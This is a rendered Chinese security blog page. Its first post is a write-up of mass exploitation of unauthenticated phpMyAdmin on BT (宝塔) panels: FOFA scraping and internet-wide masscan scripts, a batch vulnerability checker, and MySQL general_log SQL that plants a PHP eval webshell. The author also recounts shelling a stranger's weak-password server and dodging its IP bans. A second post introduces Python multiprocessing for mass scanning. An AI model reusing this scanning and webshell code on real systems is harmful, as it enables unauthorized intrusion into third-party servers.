-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathindex.html
1375 lines (965 loc) · 163 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 4.2.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/lib/font-awesome/css/font-awesome.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"quinzhi.github.io","root":"/","scheme":"Muse","version":"7.7.2","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":true},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
</script>
<meta name="description" content=""Just for fun"">
<meta property="og:type" content="website">
<meta property="og:title" content="Quin's site">
<meta property="og:url" content="https://quinzhi.github.io/index.html">
<meta property="og:site_name" content="Quin's site">
<meta property="og:description" content=""Just for fun"">
<meta property="og:locale" content="en_US">
<meta property="article:author" content="Quin">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="https://quinzhi.github.io/">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : true,
isPost : false
};
</script>
<title>Quin's site</title>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="Toggle navigation bar">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta custom-logo">
<div class="site-meta-headline">
<a>
<img class="custom-logo-image" src="/images/apple-touch-icon-next.png" alt="Quin's site">
</a>
</div>
<div>
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">Quin's site</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-fw fa-home"></i>Home</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>Categories</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>Archives</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>Search
</a>
</li>
</ul>
</nav>
<div class="site-search">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off"
placeholder="Searching..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result"></div>
</div>
<div class="search-pop-overlay"></div>
</div>
</div>
</header>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content">
<div class="posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2020/08/29/btgetshell%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%A4%B1%E8%B4%A5/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2020/08/29/btgetshell%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%A4%B1%E8%B4%A5/" class="post-title-link" itemprop="url">btgetshell从入门失败</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2020-08-29 23:00:01" itemprop="dateCreated datePublished" datetime="2020-08-29T23:00:01+08:00">2020-08-29</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2021-04-21 01:06:17" itemprop="dateModified" datetime="2021-04-21T01:06:17+08:00">2021-04-21</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E6%B8%97%E9%80%8F/" itemprop="url" rel="index"><span itemprop="name">渗透</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>又是日常捡别人玩剩的nday,过去好多天了,感觉还是要记录一下。背景是宝塔未授权访问+批量目标搜集+phpmyadmin getshell(失败)</p>
<h1 id="0x02-过程"><a href="#0x02-过程" class="headerlink" title="0x02 过程"></a>0x02 过程</h1><h2 id="漏洞点"><a href="#漏洞点" class="headerlink" title="漏洞点"></a>漏洞点</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx:888/pma/</span><br></pre></td></tr></table></figure>
<h2 id="fofa验证poc-确认目标特征"><a href="#fofa验证poc-确认目标特征" class="headerlink" title="fofa验证poc+确认目标特征"></a>fofa验证poc+确认目标特征</h2><p>直接搜宝塔,随便找几个就能验证,图片就不截了。验证后可以得到漏洞的初步信息:</p>
<ul>
<li>存在数据库面板的未授权访问接口</li>
<li>利用简单,特征就是ip+端口+确定的路径 </li>
</ul>
<h2 id="fofa-masscan批量获取疑似目标"><a href="#fofa-masscan批量获取疑似目标" class="headerlink" title="fofa+masscan批量获取疑似目标"></a>fofa+masscan批量获取疑似目标</h2><p>拿到了特征,就能批量获取目标了。最方便的还是从fofa入手,随手上个爬虫.注意到fofa虽然限制了普通用户的搜索结果,但是通过一直请求并对结果去重,一天还是能拿到几百个目标,比自己用masscan扫方便很多,扫到的目标质量也更高</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_target_ip_from_fofa</span><span class="params">(data)</span>:</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">fofa爬虫,去除了网页端的重复ip</span></span><br><span class="line"><span class="string">fofa的请求头只要传个cookie就行了</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"> addr_lst = []</span><br><span class="line"> <span class="keyword">for</span> page_num <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">6</span>): <span class="comment"># 非洲人只能看5页</span></span><br><span class="line"> url = <span class="string">"https://fofa.so/result?page="</span> + str(page_num) + <span class="string">"&qbase64=YXBwPSLlrp3loZQtTGludXjmjqfliLbpnaLmnb8i"</span> <span class="comment"># fofa的目标查询字串</span></span><br><span class="line"> res = requests.get(url, headers=data, verify=<span class="literal">False</span>)</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> res.text.split(<span class="string">"\n"</span>):</span><br><span class="line"> line = line.strip()</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"<a target=\"_blank\" href="</span> <span class="keyword">in</span> line <span class="keyword">and</span> <span class="string">"FOFA"</span> <span class="keyword">not</span> <span class="keyword">in</span> line:</span><br><span class="line"> addr = line.split(<span class="string">"="</span>)[<span class="number">-1</span>].replace(<span class="string">"\"https://"</span>, <span class="string">""</span>)</span><br><span class="line"> addr = addr.replace(<span class="string">"\"http://"</span>, <span class="string">""</span>) </span><br><span class="line"> addr = addr.replace(<span class="string">"\">"</span>, <span class="string">""</span>)</span><br><span class="line"> addr_lst.append(addr)</span><br><span class="line"> addr_lst = list(set(addr_lst))</span><br><span class="line"> addr_lst1 = addr_lst.copy()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> addr <span class="keyword">in</span> addr_lst1:</span><br><span class="line"> <span class="keyword">if</span> len(addr.split(<span class="string">":"</span>)) > <span class="number">1</span> <span class="keyword">and</span> addr.split(<span class="string">":"</span>)[<span class="number">0</span>] <span class="keyword">in</span> addr_lst1:</span><br><span class="line"> addr_lst.remove(addr.split(<span class="string">":"</span>)[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> addr_lst</span><br></pre></td></tr></table></figure>
<p>目标特征是明显的ip+端口,通过端口扫描工具找目标就很方便了,这里用了masscan,下面是一些使用例子</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 从ip.txt中读出目标,扫描5000端口,目标输出到scan.list中,速度跑满</span></span><br><span class="line">masscan -iL ip.txt -p5000 -oL scan.list --max-rate 100000 </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 扫描123.0.0.0./8网段的目标</span></span><br><span class="line">masscan 123.0.0.0/8 -p5000 -oL scan.list --max-rate 100000</span><br></pre></td></tr></table></figure>
<p>由于masscan不支持0.0.0.0的全网段扫描,会提示目标太多,因此写个脚本来跑</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os </span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">255</span>): </span><br><span class="line"> s = <span class="string">"masscan "</span> + str(i) + <span class="string">".0.0.0/8 -p888 -oL "</span> + str(i) +<span class="string">"_bt_888.list --max-rate 100000"</span></span><br><span class="line"> print(s)</span><br><span class="line"> os.system(s)</span><br></pre></td></tr></table></figure>
<p>跑完汇总一下结果</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"all.list"</span>, <span class="string">'w'</span>) <span class="keyword">as</span> fp2:</span><br><span class="line"> <span class="keyword">for</span> root ,dirs ,files <span class="keyword">in</span> os.walk(<span class="string">"."</span>):</span><br><span class="line"> <span class="keyword">for</span> file <span class="keyword">in</span> files:</span><br><span class="line"> f = os.path.join(root, file)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"bt"</span> <span class="keyword">in</span> f:</span><br><span class="line"> <span class="keyword">with</span> open(f, <span class="string">'r'</span>) <span class="keyword">as</span> fp:</span><br><span class="line"> lines = fp.readlines()</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"open"</span> <span class="keyword">in</span> line:</span><br><span class="line"> fp2.write(line)</span><br></pre></td></tr></table></figure>
<h2 id="批量确认目标"><a href="#批量确认目标" class="headerlink" title="批量确认目标"></a>批量确认目标</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">poc_baota_phpmyadmin</span><span class="params">(addr_lst, lock)</span>:</span> <span class="comment"># 用了多进程加锁取目标IP,速度一般</span></span><br><span class="line"> <span class="keyword">while</span>(len(addr_lst) != <span class="number">0</span>):</span><br><span class="line"> lock.acquire()</span><br><span class="line"> <span class="keyword">if</span> len(addr_lst) == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> url = <span class="string">"http://"</span> + addr_lst[<span class="number">0</span>] + <span class="string">":888/pma"</span></span><br><span class="line"> addr_lst.remove(addr_lst[<span class="number">0</span>])</span><br><span class="line"> lock.release()</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> res = requests.get(url, verify=<span class="literal">False</span>)</span><br><span class="line"> <span class="keyword">if</span> res.status_code == <span class="number">200</span>:</span><br><span class="line"> print(<span class="string">"[+] "</span> + url + <span class="string">" "</span> + str(res.status_code))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> print(url + <span class="string">" "</span> + str(res.status_code))</span><br><span class="line"> <span class="keyword">except</span> Exception:</span><br><span class="line"> print(url + <span class="string">" time out or connection refused"</span>)</span><br></pre></td></tr></table></figure>
<h2 id="mysql后台getshell"><a href="#mysql后台getshell" class="headerlink" title="mysql后台getshell"></a>mysql后台getshell</h2><p>大部分都是linux系统,不同应用所在用户之间权限限制严格,加上phpmyadmin的默认安全措施也越来越严格,想要爆路径和直接sql写一句话文件拿shell都不容易。<br>在mysql 5.6.34版本之后,增加了关于文件导入导出权限的新特性secure_file_priv,默认情况下该值会被设置为NULL,且该值无法通过sql修改。因此通过select into outfile试图将后门语句写入文件的方法无法成功</p>
<table>
<thead>
<tr>
<th>标题</th>
<th>内容</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>secure_file_priv</td>
<td>NULL</td>
<td>默认设置,无法直接写入文件</td>
</tr>
<tr>
<td>secure_file_priv</td>
<td></td>
<td>当没有值时,写入文件无限制</td>
</tr>
<tr>
<td>secure_file_priv</td>
<td>具体路径</td>
<td>表示只允许写入指定路径</td>
</tr>
</tbody></table>
<p>windows平台下,通过写入日志来写入一句话getshell</p>
<ul>
<li>要求mysql 5.0以上,这样才有日志模块</li>
<li>能够执行sql语句,即登陆的账号因为通常需要手动开启默认关闭的日志,还需要select来纪录一句话</li>
<li>知道网站绝对路径,因为要将日志路径设置为有效的网页解析目录</li>
</ul>
<p>通过日志getshell并不限于phpmyadmin,只是因为通常我们说phpmyadmin都是已经弱口令进去了。只要能任意执行sql语句都可以。通过注入拿到dba用户名密码,直接登陆执行sql语句也是可以的</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">show</span> <span class="keyword">global</span> <span class="keyword">variables</span> <span class="keyword">like</span> <span class="string">'%secure%'</span>; <span class="comment"># 查看数据库安全相关设置</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> @@datadir; <span class="comment"># 查看数据库目录猜网站路径</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">show</span> <span class="keyword">variables</span> <span class="keyword">like</span> <span class="string">'%general%'</span>; <span class="comment"># 查看数据库日志状态</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> general_log=<span class="string">'on'</span> <span class="comment"># 开启日志</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> general_log_file=<span class="string">'C:/phpStudy/www/xxx.php'</span> <span class="comment"># 重新设置日志文件路径</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="string">'<?php eval($_POST["cmd"]);?>'</span> <span class="comment"># 纪录一句话到日志里</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> general_log=<span class="string">'off'</span> <span class="comment"># 日志开启后会纪录所有的sql内容,日志会变得很大,测试结束记得关闭日志</span></span><br></pre></td></tr></table></figure>
<p>当然了,要是这么简单那也就好了,设置日志路径需要知道网站物理路径,由于越来越严格的安全限制,爆路径也越来越难了。很多时候只能猜。<br>唯一的线索就是查看日志状态的时候会显示默认日志路径,或者直接select @@datadir来查看mysql的路径,大部分要靠经验和积累来收集可能的路径,或者通过搜索引擎搜索路径中相关的关键词来尝试找到可能的网站目录</p>
<hr>
<p>宝塔某版本路径<br>Windows版<br>安装目录:C:\BtSoft\ServerAdmin<br>网站目录:C:\wwwroot<br>MySQL目录:C:\BtSoft\WebSoft\mysql<br>日志文件:C:\BtSoft\WebSoft\apache\logs</p>
<p>Linux<br>安装目录:/www/server<br>网站目录:/www/wwwroot/default<br>MySQL目录:/www/server/mysql<br>日志目录:/www/wwwlogs</p>
<hr>
<h2 id="0x03-实战-伪"><a href="#0x03-实战-伪" class="headerlink" title="0x03 实战(伪)"></a>0x03 实战(伪)</h2><p>某天找到一个弱口令phpmyadmin(虽然不是bt),windows平台,通过查看系统变量得到数据库路径,盲猜网站路径就在同一目录,写日志拿shell一气呵成<br>中间有一点波折就是服务器似乎有防护软件,一些敏感操作会被reset,然后直接ban ip,但奇怪的是防护并不总是成功的,换几个ip再来可能就写入了<del>(不会是蜜罐吧卧槽)</del></p>
<h1 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h1><p>关于phpmyamdin通过写入日志getshell,方法来自<a href="https://zhuanlan.zhihu.com/p/25957366" target="_blank" rel="noopener">这里</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2020/08/26/python%E5%A4%9A%E8%BF%9B%E7%A8%8B%E5%92%8C%E5%A4%9A%E7%BA%BF%E7%A8%8B/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2020/08/26/python%E5%A4%9A%E8%BF%9B%E7%A8%8B%E5%92%8C%E5%A4%9A%E7%BA%BF%E7%A8%8B/" class="post-title-link" itemprop="url">Python多进程和多线程</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2020-08-26 21:37:54" itemprop="dateCreated datePublished" datetime="2020-08-26T21:37:54+08:00">2020-08-26</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2021-05-06 20:58:31" itemprop="dateModified" datetime="2021-05-06T20:58:31+08:00">2021-05-06</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/python/" itemprop="url" rel="index"><span itemprop="name">python</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>最近hvv爆出了一堆漏洞,利用方式简单快捷,批量扫的不亦乐乎。但是在利用时由于涉及到大量ip的连接请求,因此想到试试py的多进程和多线程。</p>
<h1 id="0x02-从程序编译到多进程"><a href="#0x02-从程序编译到多进程" class="headerlink" title="0x02 从程序编译到多进程"></a>0x02 从程序编译到多进程</h1><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><p><strong>多进程涉及到一些底层知识,了解这些才能理解使用多进程的目的和解决遇到的问题</strong></p>
<p>Q: 代码是如何变成可执行文件的?<br>A: 以c为例,c代码经过<em>预处理</em>、<em>编译</em>得到汇编代码,接着汇编代码经过<em>汇编</em>得到<br>机器指令,最后机器指令加上c程序依赖的二进制库文件被一起<em>链接</em>得到二进制的可执行文件。</p>
<ul>
<li>预处理:去除注释之类的前处理</li>
<li>编译:将源代码翻译成汇编代码</li>
<li>汇编:将汇编代码翻译成二进制的机器指令</li>
<li>链接:将二进制的程序的机器指令和二进制的库文件打包在一起(只针对静态库,动态库是程序在运行时才链接的)</li>
</ul>
<hr>
<p>Q: 可执行文件是在磁盘中是什么样的?<br>A: 首先,可执行文件以二进制的方式存放于磁盘中,但不是杂乱无章的,不深入的来说,磁盘中的程序可大致被分为代码段和数据段。<br>数据段又可被具体分为只读区,读写区等等。看到这里肯定会想到,操作系统如何区分这些不同的段呢?答案就是规定一个文件头等一些“说明段”,这些“说明段”告诉系统该程序的运行平台,版本、数据段代码段等的起始地址,大小等等。操作系统要读取文件头的内容,才能正确的将磁盘中的程序加载到内存中。</p>
<hr>
<p>Q: 可执行程序如何被操作系统执行?<br>A: 首先,操作系统需要将可执行程序载入到内存(主存)中,才能对其进行操作。why?因为磁盘内存太慢了。计算机的内存是分类型的,人当然希望内存越快越大越好,但正所谓物以稀为贵,内存读写速度越快,其成本就越高。因此需要综合考虑成本以及实际的系统运行需求。计算机的内存分为寄存器、cache、主存、磁盘内存。<br>以一张《现代操作系统》中的图来说:</p>
<table>
<thead>
<tr>
<th align="center">部件</th>
<th align="center">描述</th>
</tr>
</thead>
<tbody><tr>
<td align="center">reg</td>
<td align="center">存在于CPU内的寄存器,作用是读取和执行机器指令</td>
</tr>
<tr>
<td align="center">cache</td>
<td align="center">存在于CPU或主板中,作用是缓存一些需要经常被CPU使用的内容,减少从主存读取的次数,提高速度</td>
</tr>
<tr>
<td align="center">main mem</td>
<td align="center">主存,存放从磁盘中映射到主存的程序和被程序载入的内容</td>
</tr>
<tr>
<td align="center">disk</td>
<td align="center">磁盘,存放数据</td>
</tr>
</tbody></table>
<p>其中表格越上层读写速度越快,容量也越少。磁盘很大也很慢,完全无法满足程序运行的需求。为了执行程序,需要将磁盘中的程序映射到更快的内存,即主存中去。<br>操作系统在主存中划分一段地址空间,将这段内存分配给程序使用,这段地址空间将存放程序的代码,数据,还有其运行过程中需要用到的堆、栈空间。操作系统根据从磁盘中读取的程序的文件头等“说明段”将程序的各个部分映射到主存中。<br>程序的执行本质就是机器指令的执行,而CPU就是负责解析和执行机器指令的部件。CPU从主存中程序的地址空间中的代码段取出机器指令,解析其操作码和操作数,<br>从数据段中取出数据,开始一条条地执行指令。程序便这么运行起来了。</p>
<hr>
<p>Q: 为什么要使用多进程?<br>A: 从上面的内容可以知道,CPU,或者说单核CPU,需要一条条的执行指令,也就是说同一时间只有一个程序的指令正在被CP执行。当然这些程序可以被中断,CPU跑去执行别的程序,然后再恢复现场继续执行这个程序。<br>因此单核CPU的计算机实际上是串行的,而计算机中似乎多个程序一起运行是因为CPU的切换和运行实在太快。那么,有什么办法可以让计算机同一时间真正的同时执行多个程序呢,答案就是多核CPU。在多核情况下,如果不考虑进程间或线程间的创建调度开销,多线程和多进程无疑会比完全串行的程序更有效率,毕竟同一时刻有多个核在执行指令。</p>
<hr>
